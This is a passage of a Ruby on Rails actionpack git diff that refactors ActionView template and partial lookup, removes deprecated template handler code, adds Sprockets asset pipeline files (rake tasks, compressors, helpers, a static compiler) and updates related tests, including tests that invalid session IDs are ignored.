"ActiveModel-compatible objects whose classes return a #model_name that responds to #partial_path are deprecated. Please respond to #to_partial_path directly instead." + object.class.model_name.partial_path + end - object.class.model_name.partial_path.dup.tap do |partial| - path = @lookup_context.prefixes.first - partial.insert(0, "#{File.dirname(path)}/") if partial.include?(?/) && path.include?(?/) + @partial_names[path] ||= path.dup.tap do |object_path| + merge_prefix_into_object_path(@context_prefix, object_path) + end + end + + def merge_prefix_into_object_path(prefix, object_path) + if prefix.include?(?/) && object_path.include?(?/) + overlap = [] + prefix_array = File.dirname(prefix).split('/') + object_path_array = object_path.split('/')[0..-3] # skip model dir & partial + + prefix_array.each_with_index do |dir, index| + overlap << dir if dir == object_path_array[index] end + + object_path.gsub!(/^#{overlap.join('/')}\//,'') + object_path.insert(0, "#{File.dirname(prefix)}/") end end diff --git a/actionpack/lib/action_view/renderer/template_renderer.rb b/actionpack/lib/action_view/renderer/template_renderer.rb index a09cef8fef..ac91d333ba 100644 --- a/actionpack/lib/action_view/renderer/template_renderer.rb +++ b/actionpack/lib/action_view/renderer/template_renderer.rb @@ -4,13 +4,12 @@ require 'active_support/core_ext/array/wrap' module ActionView class TemplateRenderer < AbstractRenderer #:nodoc: def render(context, options) - @view = context - - wrap_formats(options[:template] || options[:file]) do - template = determine_template(options) - freeze_formats(template.formats, true) - render_template(template, options[:layout], options[:locals]) - end + @view = context + @details = extract_details(options) + extract_format(options[:file] || options[:template], @details) + template = determine_template(options) + freeze_formats(template.formats, true) + render_template(template, options[:layout], options[:locals]) end # Determine the template to be rendered using the given options. @@ -20,13 +19,13 @@ module ActionView if options.key?(:text) Template::Text.new(options[:text], formats.try(:first)) elsif options.key?(:file) - with_fallbacks { find_template(options[:file], nil, false, keys) } + with_fallbacks { find_template(options[:file], nil, false, keys, @details) } elsif options.key?(:inline) handler = Template.handler_for_extension(options[:type] || "erb") Template.new(options[:inline], "inline template", handler, :locals => keys) elsif options.key?(:template) options[:template].respond_to?(:render) ? - options[:template] : find_template(options[:template], options[:prefixes], false, keys) + options[:template] : find_template(options[:template], options[:prefixes], false, keys, @details) end end @@ -62,12 +61,11 @@ module ActionView begin with_layout_format do layout =~ /^\// ? - with_fallbacks { find_template(layout, nil, false, keys) } : find_template(layout, nil, false, keys) - end - rescue ActionView::MissingTemplate => e - update_details(:formats => nil) do - raise unless template_exists?(layout) + with_fallbacks { find_template(layout, nil, false, keys, @details) } : find_template(layout, nil, false, keys, @details) end + rescue ActionView::MissingTemplate + all_details = @details.merge(:formats => @lookup_context.default_formats) + raise unless template_exists?(layout, nil, false, keys, all_details) end end end diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb index b99d24d281..10797c010f 100644 --- a/actionpack/lib/action_view/template.rb +++ b/actionpack/lib/action_view/template.rb @@ -91,7 +91,6 @@ module ActionView eager_autoload do autoload :Error - autoload :Handler autoload :Handlers autoload :Text end diff --git a/actionpack/lib/action_view/template/error.rb b/actionpack/lib/action_view/template/error.rb index d4448a7b33..587e37a84f 100644 --- a/actionpack/lib/action_view/template/error.rb +++ b/actionpack/lib/action_view/template/error.rb @@ -31,7 +31,6 @@ module ActionView def initialize(paths, path, prefixes, partial, details, *) @path = path prefixes = Array.wrap(prefixes) - display_paths = paths.compact.map{ |p| p.to_s.inspect }.join(", ") template_type = if partial "partial" elsif path =~ /layouts/i diff --git a/actionpack/lib/action_view/template/handler.rb b/actionpack/lib/action_view/template/handler.rb deleted file mode 100644 index 636f3ebbad..0000000000 --- a/actionpack/lib/action_view/template/handler.rb +++ /dev/null @@ -1,49 +0,0 @@ -require 'action_dispatch/http/mime_type' -require 'active_support/core_ext/class/attribute' - -# Legacy TemplateHandler stub -module ActionView - class Template - module Handlers #:nodoc: - module Compilable - def self.included(base) - ActiveSupport::Deprecation.warn "Including Compilable in your template handler is deprecated. " << - "Since Rails 3, all the API your template handler needs to implement is to respond to #call." - base.extend(ClassMethods) - end - - module ClassMethods - def call(template) - new.compile(template) - end - end - - def compile(template) - raise "Need to implement #{self.class.name}#compile(template)" - end - end - end - - class Template::Handler - class_attribute :default_format - self.default_format = Mime::HTML - - def self.inherited(base) - ActiveSupport::Deprecation.warn "Inheriting from ActionView::Template::Handler is deprecated. " << - "Since Rails 3, all the API your template handler needs to implement is to respond to #call." - super - end - - def self.call(template) - raise "Need to implement #{self.class.name}#call(template)" - end - - def render(template, local_assigns) - raise "Need to implement #{self.class.name}#render(template, local_assigns)" - end - end - end - - TemplateHandlers = Template::Handlers - TemplateHandler = Template::Handler -end diff --git a/actionpack/lib/action_view/template/handlers.rb b/actionpack/lib/action_view/template/handlers.rb index 959afa734e..aa693335e3 100644 --- a/actionpack/lib/action_view/template/handlers.rb +++ b/actionpack/lib/action_view/template/handlers.rb @@ -41,12 +41,6 @@ module ActionView #:nodoc: @@default_template_handlers = klass end - def handler_class_for_extension(extension) - ActiveSupport::Deprecation.warn "handler_class_for_extension is deprecated. " << - "Please use handler_for_extension instead", caller - handler_for_extension(extension) - end - def handler_for_extension(extension) registered_template_handler(extension) || @@default_template_handlers end diff --git a/actionpack/lib/action_view/template/handlers/erb.rb b/actionpack/lib/action_view/template/handlers/erb.rb index 7e9e4e518a..77720e2bc8 100644 --- a/actionpack/lib/action_view/template/handlers/erb.rb +++ b/actionpack/lib/action_view/template/handlers/erb.rb @@ -1,6 +1,5 @@ +require 'action_dispatch/http/mime_type' require 'active_support/core_ext/class/attribute_accessors' -require 'action_view/template' -require 'action_view/template/handler' require 'erubis' module ActionView diff --git a/actionpack/lib/action_view/template/resolver.rb b/actionpack/lib/action_view/template/resolver.rb index 2b9427ace5..f855ea257c 100644 --- a/actionpack/lib/action_view/template/resolver.rb +++ b/actionpack/lib/action_view/template/resolver.rb @@ -1,5 +1,6 @@ require "pathname" require "active_support/core_ext/class" +require "active_support/core_ext/io" require "action_view/template" module ActionView @@ -68,7 +69,7 @@ module ActionView # before returning it. def cached(key, path_info, details, locals) #:nodoc: name, prefix, partial = path_info - locals = sort_locals(locals) + locals = locals.map { |x| x.to_s }.sort! if key && caching? @cached[key][name][prefix][partial][locals] ||= decorate(yield, path_info, details, locals) @@ -97,18 +98,6 @@ module ActionView t.virtual_path ||= (cached ||= build_path(*path_info)) end end - - if :symbol.respond_to?("<=>") - def sort_locals(locals) #:nodoc: - locals.sort.freeze - end - else - def sort_locals(locals) #:nodoc: - locals = locals.map{ |l| l.to_s } - locals.sort! - locals.freeze - end - end end # An abstract class that implements a Resolver with path semantics. @@ -130,27 +119,35 @@ module ActionView def query(path, details, formats) query = build_query(path, details) - templates = [] - sanitizer = Hash.new { |h,k| h[k] = Dir["#{File.dirname(k)}/*"] } - Dir[query].each do |p| - next if File.directory?(p) || !sanitizer[p].include?(p) + # deals with case-insensitive file systems. + sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] } - handler, format = extract_handler_and_format(p, formats) - contents = File.open(p, "rb") { |io| io.read } + template_paths = Dir[query].reject { |filename| + File.directory?(filename) || + !sanitizer[File.dirname(filename)].include?(filename) + } - templates << Template.new(contents, File.expand_path(p), handler, - :virtual_path => path.virtual, :format => format, :updated_at => mtime(p)) - end + template_paths.map { |template| + handler, format = extract_handler_and_format(template, formats) + contents = File.binread template - templates + Template.new(contents, File.expand_path(template), handler, + :virtual_path => path.virtual, + :format => format, + :updated_at => mtime(template)) + } end # Helper for building query glob string based on resolver's pattern. def build_query(path, details) query = @pattern.dup - query.gsub!(/\:prefix(\/)?/, path.prefix.empty? ? "" : "#{path.prefix}\\1") # prefix can be empty... - query.gsub!(/\:action/, path.partial? ? "_#{path.name}" : path.name) + + prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1" + query.gsub!(/\:prefix(\/)?/, prefix) + + partial = escape_entry(path.partial? ? "_#{path.name}" : path.name) + query.gsub!(/\:action/, partial) details.each do |ext, variants| query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}") @@ -159,9 +156,13 @@ module ActionView File.expand_path(query, @path) end + def escape_entry(entry) + entry.gsub(/[*?{}\[\]]/, '\\\\\\&') + end + # Returns the file mtime from the filesystem. def mtime(p) - File.stat(p).mtime + File.mtime(p) end # Extract handler and formats from path. If a format cannot be a found neither @@ -235,15 +236,11 @@ module ActionView class OptimizedFileSystemResolver < FileSystemResolver #:nodoc: def build_query(path, details) exts = EXTENSIONS.map { |ext| details[ext] } - query = File.join(@path, path) - - exts.each do |ext| - query << "{" - ext.compact.each { |e| query << ".#{e}," } - query << "}" - end + query = escape_entry(File.join(@path, path)) - query + query + exts.map { |ext| + "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}" + }.join end end diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb index d0317a148b..9ebe498192 100644 --- a/actionpack/lib/action_view/test_case.rb +++ b/actionpack/lib/action_view/test_case.rb @@ -50,14 +50,17 @@ module ActionView module ClassMethods def tests(helper_class) - self.helper_class = helper_class + case helper_class + when String, Symbol + self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize + when Module + self.helper_class = helper_class + end end def determine_default_helper_class(name) - mod = name.sub(/Test$/, '').constantize + mod = name.sub(/Test$/, '').safe_constantize mod.is_a?(Class) ? nil : mod - rescue NameError - nil end def helper_method(*methods) @@ -65,7 +68,7 @@ module ActionView methods.flatten.each do |method| _helpers.module_eval <<-end_eval def #{method}(*args, &block) # def current_user(*args, &block) - _test_case.send(%(#{method}), *args, &block) # test_case.send(%(current_user), *args, &block) + _test_case.send(%(#{method}), *args, &block) # _test_case.send(%(current_user), *args, &block) end # end end_eval end @@ -218,12 +221,6 @@ module ActionView end] end - def _assigns - ActiveSupport::Deprecation.warn "ActionView::TestCase#_assigns is deprecated and will be removed in future versions. " << - "Please use view_assigns instead." - view_assigns - end - def _routes @controller._routes if @controller.respond_to?(:_routes) end diff --git a/actionpack/lib/action_view/testing/resolvers.rb b/actionpack/lib/action_view/testing/resolvers.rb index 773dfcbb1d..7afa2fa613 100644 --- a/actionpack/lib/action_view/testing/resolvers.rb +++ b/actionpack/lib/action_view/testing/resolvers.rb @@ -34,7 +34,7 @@ module ActionView #:nodoc: templates << Template.new(source, _path, handler, :virtual_path => path.virtual, :format => format, :updated_at => updated_at) end - + templates.sort_by {|t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size } end end diff --git a/actionpack/lib/sprockets/assets.rake b/actionpack/lib/sprockets/assets.rake new file mode 100644 index 0000000000..a61a121d55 --- /dev/null +++ b/actionpack/lib/sprockets/assets.rake @@ -0,0 +1,95 @@ +require "fileutils" + +namespace :assets do + def ruby_rake_task(task) + env = ENV['RAILS_ENV'] || 'production' + groups = ENV['RAILS_GROUPS'] || 'assets' + args = [$0, task,"RAILS_ENV=#{env}","RAILS_GROUPS=#{groups}"] + args << "--trace" if Rake.application.options.trace + ruby(*args) + end + + # We are currently running with no explicit bundler group + # and/or no explicit environment - we have to reinvoke rake to + # execute this task. + def invoke_or_reboot_rake_task(task) + if ENV['RAILS_GROUPS'].to_s.empty? || ENV['RAILS_ENV'].to_s.empty? + ruby_rake_task task + else + Rake::Task[task].invoke + end + end + + desc "Compile all the assets named in config.assets.precompile" + task :precompile do + invoke_or_reboot_rake_task "assets:precompile:all" + end + + namespace :precompile do + def internal_precompile(digest=nil) + unless Rails.application.config.assets.enabled + warn "Cannot precompile assets if sprockets is disabled. Please set config.assets.enabled to true" + exit + end + + # Ensure that action view is loaded and the appropriate + # sprockets hooks get executed + _ = ActionView::Base + + config = Rails.application.config + config.assets.compile = true + config.assets.digest = digest unless digest.nil? + config.assets.digests = {} + + env = Rails.application.assets + target = File.join(Rails.public_path, config.assets.prefix) + compiler = Sprockets::StaticCompiler.new(env, + target, + config.assets.precompile, + :manifest_path => config.assets.manifest, + :digest => config.assets.digest, + :manifest => digest.nil?) + compiler.compile + end + + task :all do + Rake::Task["assets:precompile:primary"].invoke + # We need to reinvoke in order to run the secondary digestless + # asset compilation run - a fresh Sprockets environment is + # required in order to compile digestless assets as the + # environment has already cached the assets on the primary + # run. + ruby_rake_task "assets:precompile:nondigest" if Rails.application.config.assets.digest + end + + task :primary => ["assets:environment", "tmp:cache:clear"] do + internal_precompile + end + + task :nondigest => ["assets:environment", "tmp:cache:clear"] do + internal_precompile(false) + end + end + + desc "Remove compiled assets" + task :clean do + invoke_or_reboot_rake_task "assets:clean:all" + end + + namespace :clean do + task :all => ["assets:environment", "tmp:cache:clear"] do + config = Rails.application.config + public_asset_path = File.join(Rails.public_path, config.assets.prefix) + rm_rf public_asset_path, :secure => true + end + end + + task :environment do + if Rails.application.config.assets.initialize_on_precompile + Rake::Task["environment"].invoke + else + Rails.application.initialize!(:assets) + Sprockets::Bootstrap.new(Rails.application).run + end + end +end diff --git a/actionpack/lib/sprockets/bootstrap.rb b/actionpack/lib/sprockets/bootstrap.rb new file mode 100644 index 0000000000..395b264fe7 --- /dev/null +++ b/actionpack/lib/sprockets/bootstrap.rb @@ -0,0 +1,37 @@ +module Sprockets + class Bootstrap + def initialize(app) + @app = app + end + + # TODO: Get rid of config.assets.enabled + def run + app, config = @app, @app.config + return unless app.assets + + config.assets.paths.each { |path| app.assets.append_path(path) } + + if config.assets.compress + # temporarily hardcode default JS compressor to uglify. Soon, it will work + # the same as SCSS, where a default plugin sets the default. + unless config.assets.js_compressor == false + app.assets.js_compressor = LazyCompressor.new { Sprockets::Compressors.registered_js_compressor(config.assets.js_compressor || :uglifier) } + end + + unless config.assets.css_compressor == false + app.assets.css_compressor = LazyCompressor.new { Sprockets::Compressors.registered_css_compressor(config.assets.css_compressor) } + end + end + + if config.assets.compile + app.routes.prepend do + mount app.assets => config.assets.prefix + end + end + + if config.assets.digest + app.assets = app.assets.index + end + end + end +end diff --git a/actionpack/lib/sprockets/compressors.rb b/actionpack/lib/sprockets/compressors.rb new file mode 100644 index 0000000000..cb3e13314b --- /dev/null +++ b/actionpack/lib/sprockets/compressors.rb @@ -0,0 +1,83 @@ +module Sprockets + module Compressors + @@css_compressors = {} + @@js_compressors = {} + @@default_css_compressor = nil + @@default_js_compressor = nil + + def self.register_css_compressor(name, klass, options = {}) + @@default_css_compressor = name.to_sym if options[:default] || @@default_css_compressor.nil? + @@css_compressors[name.to_sym] = {:klass => klass.to_s, :require => options[:require]} + end + + def self.register_js_compressor(name, klass, options = {}) + @@default_js_compressor = name.to_sym if options[:default] || @@default_js_compressor.nil? + @@js_compressors[name.to_sym] = {:klass => klass.to_s, :require => options[:require]} + end + + def self.registered_css_compressor(name) + if name.respond_to?(:to_sym) + compressor = @@css_compressors[name.to_sym] || @@css_compressors[@@default_css_compressor] + require compressor[:require] if compressor[:require] + compressor[:klass].constantize.new + else + name + end + end + + def self.registered_js_compressor(name) + if name.respond_to?(:to_sym) + compressor = @@js_compressors[name.to_sym] || @@js_compressors[@@default_js_compressor] + require compressor[:require] if compressor[:require] + compressor[:klass].constantize.new + else + name + end + end + + # The default compressors must be registered in default plugins (ex. Sass-Rails) + register_css_compressor(:scss, 'Sass::Rails::Compressor', :require => 'sass/rails/compressor', :default => true) + register_js_compressor(:uglifier, 'Uglifier', :require => 'uglifier', :default => true) + + # Automaticaly register some compressors + register_css_compressor(:yui, 'YUI::CssCompressor', :require => 'yui/compressor') + register_js_compressor(:closure, 'Closure::Compiler', :require => 'closure-compiler') + register_js_compressor(:yui, 'YUI::JavaScriptCompressor', :require => 'yui/compressor') + end + + # An asset compressor which does nothing. + # + # This compressor simply returns the asset as-is, without any compression + # whatsoever. It is useful in development mode, when compression isn't + # needed but using the same asset pipeline as production is desired. + class NullCompressor #:nodoc: + def compress(content) + content + end + end + + # An asset compressor which only initializes the underlying compression + # engine when needed. + # + # This postpones the initialization of the compressor until + # <code>#compress</code> is called the first time. + class LazyCompressor #:nodoc: + # Initializes a new LazyCompressor. + # + # The block should return a compressor when called, i.e. an object + # which responds to <code>#compress</code>. + def initialize(&block) + @block = block + end + + def compress(content) + compressor.compress(content) + end + + private + + def compressor + @compressor ||= (@block.call || NullCompressor.new) + end + end +end diff --git a/actionpack/lib/sprockets/helpers.rb b/actionpack/lib/sprockets/helpers.rb new file mode 100644 index 0000000000..fee48386e0 --- /dev/null +++ b/actionpack/lib/sprockets/helpers.rb @@ -0,0 +1,6 @@ +module Sprockets + module Helpers + autoload :RailsHelper, "sprockets/helpers/rails_helper" + autoload :IsolatedHelper, "sprockets/helpers/isolated_helper" + end +end diff --git a/actionpack/lib/sprockets/helpers/isolated_helper.rb b/actionpack/lib/sprockets/helpers/isolated_helper.rb new file mode 100644 index 0000000000..3adb928c45 --- /dev/null +++ b/actionpack/lib/sprockets/helpers/isolated_helper.rb @@ -0,0 +1,13 @@ +module Sprockets + module Helpers + module IsolatedHelper + def controller + nil + end + + def config + Rails.application.config.action_controller + end + end + end +end diff --git a/actionpack/lib/sprockets/helpers/rails_helper.rb b/actionpack/lib/sprockets/helpers/rails_helper.rb new file mode 100644 index 0000000000..ddf9b08b54 --- /dev/null +++ b/actionpack/lib/sprockets/helpers/rails_helper.rb @@ -0,0 +1,166 @@ +require "action_view" + +module Sprockets + module Helpers + module RailsHelper + extend ActiveSupport::Concern + include ActionView::Helpers::AssetTagHelper + + def asset_paths + @asset_paths ||= begin + paths = RailsHelper::AssetPaths.new(config, controller) + paths.asset_environment = asset_environment + paths.asset_digests = asset_digests + paths.compile_assets = compile_assets? + paths.digest_assets = digest_assets? + paths + end + end + + def javascript_include_tag(*sources) + options = sources.extract_options! + debug = options.key?(:debug) ? options.delete(:debug) : debug_assets? + body = options.key?(:body) ? options.delete(:body) : false + digest = options.key?(:digest) ? options.delete(:digest) : digest_assets? + + sources.collect do |source| + if debug && asset = asset_paths.asset_for(source, 'js') + asset.to_a.map { |dep| + super(dep.to_s, { :src => asset_path(dep, :ext => 'js', :body => true, :digest => digest) }.merge!(options)) + } + else + super(source.to_s, { :src => asset_path(source, :ext => 'js', :body => body, :digest => digest) }.merge!(options)) + end + end.join("\n").html_safe + end + + def stylesheet_link_tag(*sources) + options = sources.extract_options! + debug = options.key?(:debug) ? options.delete(:debug) : debug_assets? + body = options.key?(:body) ? options.delete(:body) : false + digest = options.key?(:digest) ? options.delete(:digest) : digest_assets? + + sources.collect do |source| + if debug && asset = asset_paths.asset_for(source, 'css') + asset.to_a.map { |dep| + super(dep.to_s, { :href => asset_path(dep, :ext => 'css', :body => true, :protocol => :request, :digest => digest) }.merge!(options)) + } + else + super(source.to_s, { :href => asset_path(source, :ext => 'css', :body => body, :protocol => :request, :digest => digest) }.merge!(options)) + end + end.join("\n").html_safe + end + + def asset_path(source, options = {}) + source = source.logical_path if source.respond_to?(:logical_path) + path = asset_paths.compute_public_path(source, asset_prefix, options.merge(:body => true)) + options[:body] ? "#{path}?body=1" : path + end + + def image_path(source) + asset_path(source) + end + alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route + + def javascript_path(source) + asset_path(source) + end + alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with an javascript_path named route + + def stylesheet_path(source) + asset_path(source) + end + alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with an stylesheet_path named route + + private + def debug_assets? + compile_assets? && (Rails.application.config.assets.debug || params[:debug_assets]) + rescue NoMethodError + false + end + + # Override to specify an alternative prefix for asset path generation. + # When combined with a custom +asset_environment+, this can be used to + # implement themes that can take advantage of the asset pipeline. + # + # If you only want to change where the assets are mounted, refer to + # +config.assets.prefix+ instead. + def asset_prefix + Rails.application.config.assets.prefix + end + + def asset_digests + Rails.application.config.assets.digests + end + + def compile_assets? + Rails.application.config.assets.compile + end + + def digest_assets? + Rails.application.config.assets.digest + end + + # Override to specify an alternative asset environment for asset + # path generation. The environment should already have been mounted + # at the prefix returned by +asset_prefix+. + def asset_environment + Rails.application.assets + end + + class AssetPaths < ::ActionView::AssetPaths #:nodoc: + attr_accessor :asset_environment, :asset_prefix, :asset_digests, :compile_assets, :digest_assets + + class AssetNotPrecompiledError < StandardError; end + + # Return the filesystem path for the source + def compute_source_path(source, ext) + asset_for(source, ext) + end + + def asset_for(source, ext) + source = source.to_s + return nil if is_uri?(source) + source = rewrite_extension(source, nil, ext) + asset_environment[source] + rescue Sprockets::FileOutsidePaths + nil + end + + def digest_for(logical_path) + if digest_assets && asset_digests && (digest = asset_digests[logical_path]) + return digest + end + + if compile_assets + if digest_assets && asset = asset_environment[logical_path] + return asset.digest_path + end + return logical_path + else + raise AssetNotPrecompiledError.new("#{logical_path} isn't precompiled") + end + end + + def rewrite_asset_path(source, dir, options = {}) + if source[0] == ?/ + source + else + source = digest_for(source) unless options[:digest] == false + source = File.join(dir, source) + source = "/#{source}" unless source =~ /^\// + source + end + end + + def rewrite_extension(source, dir, ext) + if ext && File.extname(source).empty? + "#{source}.#{ext}" + else + source + end + end + end + end + end +end diff --git a/actionpack/lib/sprockets/railtie.rb b/actionpack/lib/sprockets/railtie.rb index 8cee3babe2..3d330bd91a 100644 --- a/actionpack/lib/sprockets/railtie.rb +++ b/actionpack/lib/sprockets/railtie.rb @@ -1,100 +1,61 @@ +require "action_controller/railtie" + module Sprockets - class Railtie < Rails::Railtie - def self.using_coffee? - require 'coffee-script' - defined?(CoffeeScript) - rescue LoadError - false + autoload :Bootstrap, "sprockets/bootstrap" + autoload :Helpers, "sprockets/helpers" + autoload :Compressors, "sprockets/compressors" + autoload :LazyCompressor, "sprockets/compressors" + autoload :NullCompressor, "sprockets/compressors" + autoload :StaticCompiler, "sprockets/static_compiler" + + # TODO: Get rid of config.assets.enabled + class Railtie < ::Rails::Railtie + config.action_controller.default_asset_host_protocol = :relative + + rake_tasks do + load "sprockets/assets.rake" end - def self.using_scss? - require 'sass' - defined?(Sass) - rescue LoadError - false - end + initializer "sprockets.environment", :group => :all do |app| + config = app.config + next unless config.assets.enabled - config.app_generators.javascript_engine :coffee if using_coffee? - config.app_generators.stylesheet_engine :scss if using_scss? + require 'sprockets' - # Configure ActionController to use sprockets. - initializer "sprockets.set_configs", :after => "action_controller.set_configs" do |app| - ActiveSupport.on_load(:action_controller) do - self.use_sprockets = app.config.assets.enabled - end - end + app.assets = Sprockets::Environment.new(app.root.to_s) do |env| + env.logger = ::Rails.logger + env.version = ::Rails.env + "-#{config.assets.version}" - # We need to configure this after initialization to ensure we collect - # paths from all engines. This hook is invoked exactly before routes - # are compiled. - config.after_initialize do |app| - assets = app.config.assets - next unless assets.enabled - - app.assets = asset_environment(app) - - ActiveSupport.on_load(:action_view) do - app.assets.context_class.instance_eval do - include ::ActionView::Helpers::SprocketsHelper + if config.assets.cache_store != false + env.cache = ActiveSupport::Cache.lookup_store(config.assets.cache_store) || ::Rails.cache end end - app.routes.prepend do - mount app.assets => assets.prefix + if config.assets.manifest + path = File.join(config.assets.manifest, "manifest.yml") + else + path = File.join(Rails.public_path, config.assets.prefix, "manifest.yml") end - if config.action_controller.perform_caching - app.assets = app.assets.index + if File.exist?(path) + config.assets.digests = YAML.load_file(path) end - end - protected - - def asset_environment(app) - require "sprockets" - assets = app.config.assets - env = Sprockets::Environment.new(app.root.to_s) - env.static_root = File.join(app.root.join("public"), assets.prefix) - env.paths.concat assets.paths - env.logger = Rails.logger - env.js_compressor = expand_js_compressor(assets.js_compressor) - env.css_compressor = expand_css_compressor(assets.css_compressor) - env - end - - def expand_js_compressor(sym) - case sym - when :closure - require 'closure-compiler' - Closure::Compiler.new - when :uglifier - require 'uglifier' - Uglifier.new - when :yui - require 'yui/compressor' - YUI::JavaScriptCompressor.new - else - sym + ActiveSupport.on_load(:action_view) do + include ::Sprockets::Helpers::RailsHelper + app.assets.context_class.instance_eval do + include ::Sprockets::Helpers::IsolatedHelper + include ::Sprockets::Helpers::RailsHelper + end end end - def expand_css_compressor(sym) - case sym - when :scss - require 'sass' - compressor = Object.new - def compressor.compress(source) - Sass::Engine.new(source, - :syntax => :scss, :style => :compressed - ).render - end - compressor - when :yui - require 'yui/compressor' - YUI::CssCompressor.new - else - sym - end + # We need to configure this after initialization to ensure we collect + # paths from all engines. This hook is invoked exactly before routes + # are compiled, and so that other Railties have an opportunity to + # register compressors. + config.after_initialize do |app| + Sprockets::Bootstrap.new(app).run end end end diff --git a/actionpack/lib/sprockets/static_compiler.rb b/actionpack/lib/sprockets/static_compiler.rb new file mode 100644 index 0000000000..32a9d66e6e --- /dev/null +++ b/actionpack/lib/sprockets/static_compiler.rb @@ -0,0 +1,61 @@ +require 'fileutils' + +module Sprockets + class StaticCompiler + attr_accessor :env, :target, :paths + + def initialize(env, target, paths, options = {}) + @env = env + @target = target + @paths = paths + @digest = options.key?(:digest) ? options.delete(:digest) : true + @manifest = options.key?(:manifest) ? options.delete(:manifest) : true + @manifest_path = options.delete(:manifest_path) || target + end + + def compile + manifest = {} + env.each_logical_path do |logical_path| + next unless compile_path?(logical_path) + if asset = env.find_asset(logical_path) + manifest[logical_path] = write_asset(asset) + end + end + write_manifest(manifest) if @manifest + end + + def write_manifest(manifest) + FileUtils.mkdir_p(@manifest_path) + File.open("#{@manifest_path}/manifest.yml", 'wb') do |f| + YAML.dump(manifest, f) + end + end + + def write_asset(asset) + path_for(asset).tap do |path| + filename = File.join(target, path) + FileUtils.mkdir_p File.dirname(filename) + asset.write_to(filename) + asset.write_to("#{filename}.gz") if filename.to_s =~ /\.(css|js)$/ + end + end + + def compile_path?(logical_path) + paths.each do |path| + case path + when Regexp + return true if path.match(logical_path) + when Proc + return true if path.call(logical_path) + else + return true if File.fnmatch(path.to_s, logical_path) + end + end + false + end + + def path_for(asset) + @digest ? asset.digest_path : asset.logical_path + end + end +end diff --git a/actionpack/test/abstract/abstract_controller_test.rb b/actionpack/test/abstract/abstract_controller_test.rb index 981c023d38..bf068aedcd 100644 --- a/actionpack/test/abstract/abstract_controller_test.rb +++ b/actionpack/test/abstract/abstract_controller_test.rb @@ -50,7 +50,7 @@ module AbstractController end def index_to_string - self.response_body = render_to_string "index.erb" + self.response_body = render_to_string "index" end def action_with_ivars @@ -63,11 +63,11 @@ module AbstractController end def rendering_to_body - self.response_body = render_to_body :template => "naked_render.erb" + self.response_body = render_to_body :template => "naked_render" end def rendering_to_string - self.response_body = render_to_string :template => "naked_render.erb" + self.response_body = render_to_string :template => "naked_render" end end @@ -178,16 +178,10 @@ module AbstractController end end - class Me5 < WithLayouts - def index - render - end - end - class TestLayouts < ActiveSupport::TestCase test "layouts are included" do controller = Me4.new - result = controller.process(:index) + controller.process(:index) assert_equal "Me4 Enter : Hello from me4/index.erb : Exit", controller.response_body end end @@ -241,11 +235,11 @@ module AbstractController assert_dispatch ActionMissingRespondToActionController, "success", :ohai end - test "a method is available as an action if respond_to_action? returns true" do + test "a method is available as an action if method_for_action returns true" do assert_dispatch RespondToActionController, "success", :index end - test "raises ActionNotFound if method is defined but respond_to_action? returns false" do + test "raises ActionNotFound if method is defined but method_for_action returns false" do assert_raise(ActionNotFound) { RespondToActionController.new.process(:fail) } end end diff --git a/actionpack/test/abstract/callbacks_test.rb b/actionpack/test/abstract/callbacks_test.rb index 3bdde86291..5d1a703c55 100644 --- a/actionpack/test/abstract/callbacks_test.rb +++ b/actionpack/test/abstract/callbacks_test.rb @@ -131,7 +131,7 @@ module AbstractController end def authenticate - @list = [] + @list ||= [] @authenticated = "true" end end diff --git a/actionpack/test/abstract/layouts_test.rb b/actionpack/test/abstract/layouts_test.rb index 5ed6aa68b5..86208899f8 100644 --- a/actionpack/test/abstract/layouts_test.rb +++ b/actionpack/test/abstract/layouts_test.rb @@ -87,18 +87,6 @@ module AbstractControllerTests end end - class WithSymbolReturningString < Base - layout :no_hello - - def index - render :template => ActionView::Template::Text.new("Hello missing symbol!") - end - private - def no_hello - nil - end - end - class WithSymbolReturningNil < Base layout :nilz diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb index 60534a9746..24d071df39 100644 --- a/actionpack/test/abstract_unit.rb +++ b/actionpack/test/abstract_unit.rb @@ -151,6 +151,7 @@ class BasicController config.assets_dir = public_dir config.javascripts_dir = "#{public_dir}/javascripts" config.stylesheets_dir = "#{public_dir}/stylesheets" + config.assets = ActiveSupport::InheritableOptions.new({ :prefix => "assets" }) config end end diff --git a/actionpack/test/activerecord/active_record_store_test.rb b/actionpack/test/activerecord/active_record_store_test.rb index f0fb113860..768ac713ca 100644 --- a/actionpack/test/activerecord/active_record_store_test.rb +++ b/actionpack/test/activerecord/active_record_store_test.rb @@ -225,6 +225,36 @@ class ActiveRecordStoreTest < ActionDispatch::IntegrationTest assert_equal session_id, cookies['_session_id'] end end + + def test_incoming_invalid_session_id_via_cookie_should_be_ignored + with_test_route_set do + open_session do |sess| + sess.cookies['_session_id'] = 'INVALID' + + sess.get '/set_session_value' + new_session_id = sess.cookies['_session_id'] + assert_not_equal 'INVALID', new_session_id + + sess.get '/get_session_value' + new_session_id_2 = sess.cookies['_session_id'] + assert_equal new_session_id, new_session_id_2 + end + end + end + + def test_incoming_invalid_session_id_via_parameter_should_be_ignored + with_test_route_set(:cookie_only => false) do + open_session do |sess| + sess.get '/set_session_value', :_session_id => 'INVALID' + new_session_id = sess.cookies['_session_id'] + assert_not_equal 'INVALID', new_session_id + + sess.get '/get_session_value' + new_session_id_2 = sess.cookies['_session_id'] + assert_equal new_session_id, new_session_id_2 + end + end + end private @@ -247,6 +277,7 @@ class ActiveRecordStoreTest < ActionDispatch::IntegrationTest session_class, ActiveRecord::SessionStore.session_class = ActiveRecord::SessionStore.session_class, "ActiveRecord::SessionStore::#{class_name.camelize}".constantize yield + ensure ActiveRecord::SessionStore.session_class = session_class end end diff --git a/actionpack/test/activerecord/controller_runtime_test.rb b/actionpack/test/activerecord/controller_runtime_test.rb index b87b9f9c47..2d789395ce 100644 --- 